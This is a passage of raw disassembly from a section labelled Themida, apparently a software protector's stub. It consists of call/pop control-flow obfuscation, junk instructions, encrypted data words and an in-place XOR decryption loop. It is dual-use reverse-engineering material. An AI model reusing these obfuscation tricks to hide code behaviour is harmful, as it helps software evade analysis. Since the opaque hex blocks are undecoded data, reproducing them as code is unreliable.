		mov	dword ptr [ebp+6112381h], 1
		movzx	edx, dx
		pusha
		push	0
		push	eax
		call	sub_54F6D3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F6D3	proc near		; CODE XREF: Themida_:0054F6CBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_54F6D3	endp

; ---------------------------------------------------------------------------
		db 0FEh
		dd 8B5B445Dh, 110C799Dh, 99858906h, 0E8061115h,	4, 80h
		dd 310F5250h, 31C236BBh, 50585A03h, 448B96B3h, 0A8B70424h
		dd 35B6008Bh, 4244489h,	168F0Fh, 0EE80000h, 0E6000000h
		dd 3FFAA7C8h, 0FF7B3294h, 7C0D5F15h, 5BD58A71h,	0DB816658h
		dd 0FF6AA7AAh, 2AD195FFh, 958B0611h, 6112139h, 6880F61h
		dd 8B000000h, 1117A195h, 999D8906h, 90061127h, 838911BAh
		dd 11E95067h, 0C9000000h, 24337D53h, 137D73DDh,	566DF238h
		dd 34F951Ch, 52006A90h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0C18D29D6h, 8B06110Eh, 112A4985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 62BB1F96h, 0E94BA4B2h, 12h, 0E84259C6h
		dd 0A27C082Fh, 0D139C3C8h, 51147EC2h, 0C00B21E5h, 22840Fh
		dd 0EE80000h, 0EF000000h, 9EC10299h, 0F1986244h, 29DA1DA7h
		dd 0FD85891Ch, 5B061130h, 54195FFh, 0D88A0611h,	27F985C7h
		dd 10611h, 0BD830000h, 6112035h, 56840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 47C8C351h, 4227B701h, 0FFB2B6B6h,	11141195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 83F99B09h, 0D958BE3h, 29061107h,	1105F58Dh
		dd 25BD8306h, 6111Bh, 0C840Fh, 0BB660000h, 95FF7AB8h, 61117F5h
		dd 0BD83D08Bh, 6111B59h, 29840F00h, 0E9000000h,	5, 5D76405h
		dd 95BD83C1h, 61122h, 12850Fh, 0FFFC0000h, 1129C595h, 0BF0F6006h
		dd 92E781DFh, 613DDA05h, 0DD9BD83h, 0F000611h, 4284h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8581432Ah, 6111D4Dh,	4003h, 5E9h, 46207800h,	85811E97h
		dd 6110A49h, 4003h, 0F5958BFCh,	0F06110Eh, 53006A31h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 2DB4FC61h, 5D248D8Dh, 6A0611h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 71BDD6C3h, 6688E060h
		dd 0CC2FEB81h, 9D030189h, 6111E11h, 11E9C233h, 7000000h
		dd 0FDFA98Ch, 0D2FA7095h, 5009B593h, 6FA035F2h,	6A044189h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 1AE4C352h, 0BBC9704h, 0ED9589FAh,	0F061117h
		dd 399D8B31h, 8D061123h, 115D388Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0F381C787h
		dd 33086B13h, 6A0189h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD319CC3h, 6110DFDh, 2921958Bh
		dd 0C2330611h, 0E3B8EB81h, 418947BBh, 0DE806004h, 0D7B96616h
		dd 0BD8361C0h, 6111F51h, 11840F00h, 33000000h, 11048D95h
		dd 8D95FF06h, 0BA061126h, 26B350FAh, 153DBD83h,	0F010611h
		dd 3985h, 0D0BF0F00h, 31E9h, 51958B00h,	8B061122h, 115E7EB5h
		dd 6C706h, 8B000000h, 115C48B5h, 6C706h, 0CF000000h, 34399D8Bh
		dd 850F0611h, 6, 12759D8Bh, 0BD830611h,	61127F9h, 71840F00h
		dd 8B000001h, 4810FDAh,	66000000h, 8305F3BAh, 110621BDh
		dd 850F0106h, 138h, 0E6D28166h,	0D88D8B86h, 6A06114Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0C64FC353h, 6A0001h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0D1CC36C3h, 4995891Fh
		dd 60061103h, 312D958Bh, 0BF0F0611h, 4E8DEh, 800000h, 8C0F0000h
		dd 0Ch,	6860Fh,	52500000h, 585A310Fh, 88C0F50h,	0F000000h
		dd 28Ch, 8BA2B200h, 8B042444h, 60008BDEh, 615E5160h, 0D08A5250h
		dd 7E8310Fh, 0C3000000h, 135E8F2Bh, 5A597613h, 44896158h
		dd 66600424h, 61E8D3BEh, 9E958h, 0D5C30000h, 1008A3F5h
		dd 6A339350h, 0D1B589FFh, 0FF061133h, 112AD195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 11E9CA7Ah, 82000000h, 0B4624834h, 5D1E76BBh,	2D8406A4h
		dd 8AF9A08Fh, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 958BACA4h, 611039Dh, 2B3995FFh, 8D8B0611h
		dd 6114DD8h, 429BD89h, 1FE0611h, 1D55BD83h, 0F010611h
		dd 1385h, 0EE900h, 62D10000h, 5BC68FA3h, 488642D7h, 57BE3E34h
		dd 10E9C08Bh, 85000000h, 86FF56CEh, 630F9D23h, 0BF5C380Dh
		dd 83A615D4h, 1125F1BDh, 9750006h, 243DBD83h, 74000611h
		dd 8B53501Ah, 4D858BC0h, 8906111Dh, 111D4D85h, 299D8D06h
		dd 0FF0613B2h, 83585BD3h, 11243DBDh, 18740006h,	858B5350h
		dd 6111D4Dh, 1D4D8589h,	9D8D0611h, 613AF18h, 585BD3FFh
		dd 8B5BF853h, 1105C99Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 89C08B84h, 1114CD8Dh
		dd 0F9BD8306h, 61127h, 3C850Fh,	83FC0000h, 1103F5BDh, 840F0006h
		dd 2Eh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
		dd 8AC35242h, 26F5960Fh, 8870Fh, 0F520000h, 83h, 0BD835A00h
		dd 61127F9h, 46840F00h,	89000000h, 111D1585h, 5BD8306h
		dd 6111Fh, 33840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 190424h, 56460000h, 3C6992C3h, 893DF62Ah
		dd 110E1995h, 6880F06h,	23000000h, 112D999Dh, 0F9BD8306h
		dd 61127h, 69840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0EBAED4C3h, 85D34A47h
		dd 0BD295726h, 611206Dh, 5BD83F8h, 6111Fh, 31840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 21DFBBC3h, 0B84EFC13h, 0FE5BC59h, 683h, 0C1958B00h
		dd 83061104h, 1127F9BDh, 840F0006h, 16h, 83D6BF0Fh, 110C5DBDh
		dd 840F0006h, 6, 14C9950Bh, 0BD830611h,	61127F9h, 48840F00h
		dd 8B000000h, 112A759Dh, 99BD8306h, 61103h, 35840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 3113E4C3h, 37DFE116h, 0DD952954h, 0FF061100h, 1129FD95h
		dd 599D2306h, 8B06111Fh, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0D78B821Eh, 83FBEF80h
		dd 1125F1BDh, 9750006h,	243DBD83h, 74000611h, 8B53501Ah
		dd 49858BC0h, 8906110Ah, 110A4985h, 909D8D06h, 0FF0613B2h
		dd 83585BD3h, 11243DBDh, 18740006h, 858B5350h, 6110A49h
		dd 0A498589h, 9D8D0611h, 613AF31h, 585BD3FFh, 31419D89h
		dd 0F1BA0611h, 0F549E31h, 0C08BD9B7h, 1311958Bh, 0BD830611h
		dd 61127F9h, 39840F00h,	33000004h, 111DC595h, 0ADBD8306h
		dd 2061103h, 1B840Fh, 0F88A0000h, 153DBD83h, 0F010611h
		dd 0C85h, 0D958B00h, 8B061127h,	1126819Dh, 85896006h, 6112819h
		dd 8B3BEA80h, 114DD88Dh
		dd 99CB8106h, 0FE7135BBh, 219D0101h, 0E8061129h, 4, 80h
		dd 0E950D78Bh, 10h, 4FB10B69h, 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h
		dd 424448Bh, 7335FBAh, 89008B01h, 50042444h, 13E8h, 0E71A5900h
		dd 20333945h, 0E88CB8ABh, 832B97C9h, 8C11E455h,	310F5250h
		dd 5A5A585Ah, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8B24A712h, 0E9FF6AD1h, 8,	0FDF87125h
		dd 0FD4533ACh, 2AD195FFh, 0DF800611h, 8D0F61C4h, 7, 0EB816650h
		dd 8D5A1FB1h, 11017DBDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 2CCDBDBAh, 0BF0F1410h
		dd 4EEB81D0h, 0F793FF4h, 681h, 0D19D2B00h, 8B061133h, 6A1C4Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 12E400C3h, 7D6B0A97h, 820FE45Bh, 6, 0AE59D89h, 16A0611h
		dd 0DE9h, 3FC40F00h, 6B8F7Eh, 9B1D6E87h, 0F917EADh, 28Fh
		dd 50D78B00h, 8D0F5250h, 16h, 10E8h, 1F1EE800h,	46C478A4h
		dd 26B9DFC3h, 0D689A1D3h, 310F5BE7h, 585ADA8Bh,	858DFC91h
		dd 6143639h, 0FFD9D89h,	0D0FF0611h, 0C890Fh, 830F0000h
		dd 6, 0BC4E281h, 4F8B570Eh, 0B70F5720h,	36A5AD9h, 8199D8Bh
		dd 0E9910611h, 7, 7D782333h, 5053C31Ah,	50006A91h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0BAD318D6h, 5B63FCBh, 0AA1BD89h, 858D0611h, 6143639h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0B0C35242h
		dd 25963FECh, 2831B501h, 0DA8A0611h, 0DA80D0FFh, 7DBD8DF9h
		dd 66061101h, 8B45EBBBh, 6A1C4Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0F59ABEC3h, 21023972h
		dd 6A20FED8h, 0C1952901h, 50061127h, 2850Fh, 0F38A0000h
		dd 6A240C89h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 8B46C350h, 39858D05h, 6A061436h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 4053C357h, 39B58947h, 0FF061112h,	51006AD0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 87D067Fh, 756AF43Ah,	85019AF1h, 6113409h, 0E9204F8Bh
		dd 0Fh,	0EA4BE503h, 785661F1h, 7E4054B6h, 6A389C0Ah, 6880F03h
		dd 29000000h, 111E21B5h, 8E0F5006h, 17h, 12E9h,	0F90B1100h
		dd 0C19F0A93h, 3971191h, 23DB03B0h, 891C6260h, 850F240Ch
		dd 5, 0FCC28166h, 39858D61h, 8B061436h,	6AD0FFD0h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 239DC353h, 9D8B5A42h, 6112679h, 4DD88D8Bh, 8D090611h
		dd 6110B0Dh, 0F3BA01FEh, 8B0AA503h, 114DD885h, 0B2F4BA06h
		dd 0FE1860h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0C4C35545h, 9D8B7D74h, 61104A1h, 830F016Ah, 6
		dd 0DCD958Bh, 0B680611h, 8BF0DB42h, 243481D9h, 0F24DDF4h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 24C35343h
		dd 0AE591A73h, 80BE6ED6h, 9D8B56CFh, 6110F95h, 3643858Dh
		dd 85090614h, 6110055h,	6AD0FFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 3429E2C3h, 0E9DAB70Fh
		dd 0Ch,	6D05FB0Ah, 0A358555Fh, 63CD2A3Dh, 3F5BD83h, 0F000611h
		dd 0EF84h, 1DA8B00h, 1117D1BDh,	71BD8306h, 106111Bh, 0DA850Fh
		dd 9D8B0000h, 611146Dh,	364D8D8Dh, 0B70F0614h, 599D29D3h
		dd 6A061124h, 50006A03h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 66DCD24Dh, 6A55F5BBh, 51006A01h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0E83E56BFh, 12F9581Bh, 9D95899Ah, 8006111Eh,	0D1FF9FD6h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0C2C35545h
		dd 66BFBDCCh, 0FC4319BBh, 6A016Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 6AF919C3h, 50D1FF01h
		dd 3610BB66h, 6E8EE85Bh, 12E8FA4Ah, 0F4000000h,	0C9EB927h
		dd 0F839A844h, 0E56CC8F5h, 0C5D0695Eh, 0AD8D292Eh, 5B06111Bh
		dd 6A206Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0B32A17C3h, 0FFFF6AE8h, 112AD195h, 9FBA6606h
		dd 0B8E9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 67209FC3h, 0E45AFFFAh, 0A1958BACh
		dd 0B061128h, 33840FC0h, 8A000000h, 5DBD83F9h, 61107h
		dd 24840Fh, 0DE90000h, 0C6000000h, 90D9E24Eh, 8B091E0Ah
		dd 61755AE6h, 29A595FFh, 8D890611h, 6110E99h, 31B18529h
		dd 858B0611h, 6113101h,	0C6F8h,	8B58D88Ah, 1121C99Dh, 0D98C6606h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 6C35040h
		dd 0EE4E1AB6h, 7224AD4h, 68D0Fh, 9D8B0000h, 61132CDh, 0F04C1F6h
		dd 5284h, 0D3816600h, 8E94FF4h,	0E9000000h, 0A483ACEDh
		dd 0E9FE15DCh, 3Bh, 9458589h, 0B58B0611h, 6110F85h, 6850Fh
		dd 0B5310000h, 611036Dh, 1180C681h, 60F80000h, 45C18166h
		dd 458D8B11h, 61061113h, 6C7h, 958B0000h, 6110F65h, 5E5AF552h
		dd 55D0AEBAh, 0F8836Fh,	0BF2840Fh, 8B560000h, 112B699Dh
		dd 0F8835B06h, 9D850F01h, 0E9000001h, 9, 5B9C1B5Ch, 0B67BCBA5h
		dd 0B845h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0C168BDC3h, 4E8DE684h, 80AFE59Fh
		dd 0C00BB0C6h, 0D3840Fh, 6E90000h, 80000000h, 248FD1DCh
		dd 1BD31F9h, 83061121h,	840F01F8h, 0E4h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 0D0C35545h, 0E4529341h
		dd 0DBBF0F24h, 3F883F9h, 56840Fh, 7E80000h, 0DF000000h
		dd 0CF00E35Eh, 95012AF2h, 6110F51h, 0C5B5295Ah,	0B806110Dh
		dd 0
; ---------------------------------------------------------------------------
		xor	dh, 0FEh
		lea	edi, dword_5B89E0[ebp]
		push	0
		push	eax
		call	sub_5505F0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5505F0	proc near		; CODE XREF: Themida_:005505E8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5505F0	endp

; ---------------------------------------------------------------------------
		dd 0B3818972h, 1F79B589h, 85290611h, 6110D6Dh, 98B2E7FFh
		dd 1B8h, 19860F00h, 60000000h, 0FE844B4h, 8E000000h, 5B652A45h
		dd 914F930Ch, 59D54F77h, 615B6FB7h, 89E0BD8Dh, 0D98B005Bh
		dd 2BE7FFF5h, 1104219Dh, 64BD8D06h, 0F061144h, 4AE9DEBFh
		dd 0E9000003h, 12h, 0A0A62612h,	9A9C0CB6h, 281875FBh, 98B23D7Bh
		dd 958B5621h, 6112301h,	4E3385C7h, 50611h, 95890000h, 6110131h
		dd 5B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0E3816676h, 9EE96FEDh, 6A000009h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 32DDC355h, 433CD04Ah, 0F02F883h, 13685h
		dd 0B8D38B00h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5506EB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5506EB	proc near		; CODE XREF: Themida_:005506E3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5506EB	endp

; ---------------------------------------------------------------------------
		or	eax, 3F244548h
		push	ds
		and	al, 9Eh
		mov	[ebp+6113265h],	ebx
		or	eax, eax
		jz	loc_5507DF
		push	0
		push	esi
		call	sub_55071C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55071C	proc near		; CODE XREF: Themida_:00550714p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_55071C	endp

; ---------------------------------------------------------------------------
		dd 0B6800B92h, 0E676532Ch, 0B40212BBh, 41CA8166h, 835276A1h
		dd 840F01F8h, 0FFFFFF2Ch, 231D9D8Bh, 0F8830611h, 0BD840F03h
		dd 80FFFFFEh, 0B8EDEAh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5E42C357h
		dd 0EFC26868h, 1F818D89h, 0BD8D0611h, 5B89E0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9CC35545h, 6060E35Ah
		dd 0DFE18166h, 258D0366h, 61061118h, 11E950h, 79310000h
		dd 33C9DC18h, 0CFFE2130h, 54957B00h, 5E8ABDB9h,	0FE7FF61h
		dd 682h, 18D8900h
; ---------------------------------------------------------------------------
		and	edx, [ecx]
		push	es


loc_5507DF:				; CODE XREF: Themida_:0055070Bj
		lea	edi, [ebp+611465Ch]
		push	0
		push	ecx
		call	sub_5507F0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5507F0	proc near		; CODE XREF: Themida_:005507E8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5507F0	endp

; ---------------------------------------------------------------------------
		pop	esp
		add	bh, 2Ch
		jmp	loc_5509A1
; ---------------------------------------------------------------------------
		sub	[ebp+6110851h],	esi
		cmp	eax, 3
		jnz	loc_55087B
		push	0
		push	esi
		call	sub_550823
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550823	proc near		; CODE XREF: Themida_:0055081Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_550823	endp

; ---------------------------------------------------------------------------
		db 76h
		dd 4792F7D7h, 3870Fh, 0C7800000h, 0D38B664Ch, 47F0BD8Dh
		dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 610189C3h, 0D5397F06h, 26ED952Bh,	2AE90611h
		dd 66000001h
		db 0BAh, 3Bh, 1Fh
; ---------------------------------------------------------------------------


loc_55087B:				; CODE XREF: Themida_:00550812j
		cmp	eax, 5
		jnz	loc_550898
		clc
		jmp	loc_55104D
; ---------------------------------------------------------------------------
		mov	bx, 8DD1h
		jns	loc_550898
		mov	dx, 0FBC1h


loc_550898:				; CODE XREF: Themida_:0055087Ej
					; Themida_:0055088Ej
		cmp	eax, 6
		jnz	loc_5508CD
		jmp	loc_5508B3
; ---------------------------------------------------------------------------
		dw 981Bh
		dd 0B52CC010h, 0A1E4250Ch
; ---------------------------------------------------------------------------
		xor	al, 0A1h
		movsb


loc_5508B3:				; CODE XREF: Themida_:005508A1j
		lea	edi, [ebp+61149E8h]
		movzx	ebx, di
		jmp	loc_5509A1
; ---------------------------------------------------------------------------
		ja	loc_5508CD
		mov	[ebp+6110D79h],	ebx


loc_5508CD:				; CODE XREF: Themida_:0055089Bj
					; Themida_:005508C1j
		cmp	eax, 7
		jnz	loc_550937
		push	eax
		mov	ebx, [ebp+61129E1h]
		pop	ebx
		jp	loc_5508E7
		mov	bx, cx


loc_5508E7:				; CODE XREF: Themida_:005508DEj
		lea	edi, [ebp+6111001h]
		sub	edx, [ebp+6111599h]
		jmp	loc_550A56
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_550903
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550903	proc near		; CODE XREF: Themida_:005508FBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_550903	endp

; ---------------------------------------------------------------------------
		db 0C6h
		dd 4A013053h, 56EE524Dh, 12E8h,	0EDBE1400h, 4AB636FBh
		dd 93EC647Ch, 64654D2Fh, 0B7694337h
; ---------------------------------------------------------------------------
		aad	5Ah
		pop	ebx


loc_550937:				; CODE XREF: Themida_:005508D0j
		cmp	eax, 0Ah
		jnz	loc_5509A1
		push	0
		push	ecx
		call	sub_55094B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55094B	proc near		; CODE XREF: Themida_:00550943p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_55094B	endp

; ---------------------------------------------------------------------------
		db 0BFh
		dd 0BB6696F0h, 12E8F3EFh, 0A4000000h, 0D25A0556h, 2C8061B3h
		dd 2388A375h, 629F15BFh, 55B58931h, 5A061123h, 4BE0BD8Dh
		dd 0EB810611h, 2D187AF8h, 10E9h, 81515300h, 0B1E769D2h
		dd 8B5B5A50h, 11038D95h
; ---------------------------------------------------------------------------
		push	es


loc_5509A1:				; CODE XREF: Themida_:00550804j
					; Themida_:005508BCj ...
		push	edi
		jns	loc_5509AE
		sub	[ebp+6110805h],	esi


loc_5509AE:				; CODE XREF: Themida_:005509A2j
		mov	ecx, 7CD70D53h
		jmp	loc_5509C3
; ---------------------------------------------------------------------------
		dd 17AC41D3h, 6F08B8E7h
; ---------------------------------------------------------------------------
		add	[edi], ecx
		cmpsd


loc_5509C3:				; CODE XREF: Themida_:005509B3j
		or	dh, 74h
		cmp	dword ptr [edi], 0
		jz	loc_550A30
		jge	loc_5509E9
		jmp	loc_5509E9
; ---------------------------------------------------------------------------
		dw 7B65h
		dd 734ED958h, 0B2C91D24h, 0F1B0DCCh
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_5509E9:				; CODE XREF: Themida_:005509CFj
					; Themida_:005509D5j
		xor	[edi], cl
		mov	ebx, [ebp+6110135h]
		ror	ecx, 1
		mov	edx, [ebp+6111C05h]
		mov	bx, 524Ch
		inc	edi
		push	0
		push	edx
		call	sub_550A09
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550A09	proc near		; CODE XREF: Themida_:00550A01p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_550A09	endp

; ---------------------------------------------------------------------------
		db 55h,	46h, 0B2h
		dd 20E33EF3h, 895412BBh, 1130E195h, 0FF98E906h,	0D58AFFFFh
; ---------------------------------------------------------------------------


loc_550A30:				; CODE XREF: Themida_:005509C9j
		pop	edi
		push	0
		push	ebp
		call	sub_550A3C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550A3C	proc near		; CODE XREF: Themida_:00550A34p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_550A3C	endp

; ---------------------------------------------------------------------------
		dd 66B696DEh, 0FDFCBBBh
		db 0BFh, 0DEh
; ---------------------------------------------------------------------------


loc_550A56:				; CODE XREF: Themida_:005508F3j
		mov	[ebp+6114DDCh],	edi
		mov	ebx, [ebp+6112681h]
		jmp	loc_550A7B
; ---------------------------------------------------------------------------
		db 4Fh
		dd 618AEC0Dh, 9EC500B9h, 0CD8426E0h, 74D0F20Dh
; ---------------------------------------------------------------------------
		cmp	esp, ebp
		push	ss


loc_550A7B:				; CODE XREF: Themida_:00550A62j
		lea	ecx, [ebp+6110951h]
		push	0
		push	ecx
		call	sub_550A8C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550A8C	proc near		; CODE XREF: Themida_:00550A84p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_550A8C	endp

; ---------------------------------------------------------------------------
		mov	ch, 0C5h
		xor	[eax-749981DFh], esi
		xlat
		mov	edx, eax
		push	dword ptr [ebp+61132A5h]
		mov	dx, 6DF7h
		lea	eax, [ebp+613A44Dh]
		push	eax
		lea	edi, [ebp+61154E6h]
		lea	ecx, [ebp+6116F05h]
		mov	eax, 54831ABCh
		sub	ecx, edi


loc_550ACB:				; CODE XREF: Themida_:00550AD1j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_550ACB
		lea	esi, [ebp+6116E6Ah]
		lea	ecx, [ebp+6116F1Dh]
		sub	ecx, edi
		rep movsb
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	short loc_550B34
		cmp	dword ptr [ebp+611075Dh], 0
		jz	short loc_550AFD
		call	dword ptr [ebp+61129A5h]


loc_550AFD:				; CODE XREF: Themida_:00550AF5j
		mov	esi, [ebp+6114DDCh]
		lea	eax, [ebp+613A44Dh]
		call	eax
		lea	eax, [ebp+6114242h]
		call	eax
		mov	dword ptr [ebp+611159Dh], 1
		mov	esp, [ebp+611145Dh]
		mov	esi, [ebp+61129DDh]
		mov	ebp, [ebp+61100B5h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_550B34:				; CODE XREF: Themida_:00550AECj
		mov	bx, dx
		mov	dh, bh
		cmp	dword ptr [ebp+6110615h], 0
		jz	loc_550B52
		movzx	edx, si
		call	dword ptr [ebp+61121F5h]
		mov	bx, si


loc_550B52:				; CODE XREF: Themida_:00550B40j
		cmp	dword ptr [ebp+611244Dh], 0
		jnz	loc_550D22
		mov	ebx, eax
		cmp	dword ptr [ebp+6111B71h], 1
		jnz	loc_550D22
		push	0
		push	edi
		call	sub_550B79
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550B79	proc near		; CODE XREF: Themida_:00550B71p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_550B79	endp

; ---------------------------------------------------------------------------
		fcomp	qword ptr [ecx]
		mov	bh, 0AFh
		dec	byte ptr [ebp-42h]
		db	64h
		push	ss
		mov	edx, 5B4CC4Eh
		cmp	dword ptr [ebp+6110EE1h], 0
		jz	loc_550D22
		mov	ebx, [ebp+61130E5h]
		cmp	dword ptr [ebp+6114E2Fh], 0
		jz	loc_550D22
		push	0
		push	ebp
		call	sub_550BC2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550BC2	proc near		; CODE XREF: Themida_:00550BBAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_550BC2	endp

; ---------------------------------------------------------------------------
		xor	al, 42h
		cmc
		sub	dh, ds:0A44D858Dh
		adc	eax, [esi]
		mov	edx, [ebp+6112341h]
		jle	loc_550C01
		jmp	loc_550C01
; ---------------------------------------------------------------------------
		dw 7230h
; ---------------------------------------------------------------------------
		xchg	dl, es:[eax+edx-74h]
		ror	al, 71h
		test	[eax+ecx*4], ebp
		add	bl, [edx+7D4192A1h]


loc_550C01:				; CODE XREF: Themida_:00550BE3j
					; Themida_:00550BE9j
		mov	esi, [ebp+6114DDCh]
		mov	bx, ax
		mov	[ebp+6111CEDh],	esi
		call	eax
		mov	bl, 5Fh
		mov	byte ptr [ebp+61106D1h], 54h
		push	0
		push	ebp
		call	sub_550C26
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



